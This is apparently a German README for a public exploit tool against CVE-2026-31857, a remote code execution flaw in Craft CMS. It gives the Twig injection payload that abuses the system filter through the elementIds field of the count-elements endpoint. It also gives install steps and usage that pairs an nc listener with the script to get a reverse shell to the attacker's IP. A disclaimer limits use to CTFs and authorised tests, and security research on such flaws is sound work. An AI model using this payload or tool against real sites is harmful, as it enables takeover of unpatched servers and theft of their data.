CVE-2026-31857 - Craft CMS RCE-Exploit

Python-Exploit für eine RCE-Schwachstelle im Craft CMS Admin-Panel, ausgelöst über den Endpunkt admin/actions/element-indexes/count-elements. Die Injection erfolgt über das Feld elementIds einer RelatedToConditionRule-Bedingung, das serverseitig als Twig interpretiert und über den system-Filter missbraucht wird, um einen beliebigen Befehl auszuführen ({{[['<cmd>']|filter('system')]}}).

Schwachstelle veröffentlicht von NeoSprings

Betroffene Versionen :

• >= 5.0.0-RC1, <= 5.9.8
• >= 4.0.0-beta.1, <= 4.17.3

Referenzen :

• https://github.com/craftcms/cms/security/advisories/GHSA-fp5j-j7j4-mcxc
• https://nvd.nist.gov/vuln/detail/cve-2026-31857

---

Installation

$ git clone https://github.com/0xTatsuki/CVE-2026-31857.git
$ cd CVE-2026-31857
$ pip install -r requirements.txt

---

Verwendung

1. Starten Sie den Listener, bevor Sie den Exploit ausführen :

$ nc -lvnp <attacker_port>

2. Führen Sie den Exploit aus :

$ python3 CVE-2026-31857.py -t http://<craftcms_base_url> -u <username> -p <password> -i <attacker_ip> -P <attacker_port>

---

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Übungen bereitgestellt (CTF, beauftragte Penetrationstests oder lokale Tests). Die Verwendung gegen jegliche Systeme ohne ausdrückliche Genehmigung ist illegal.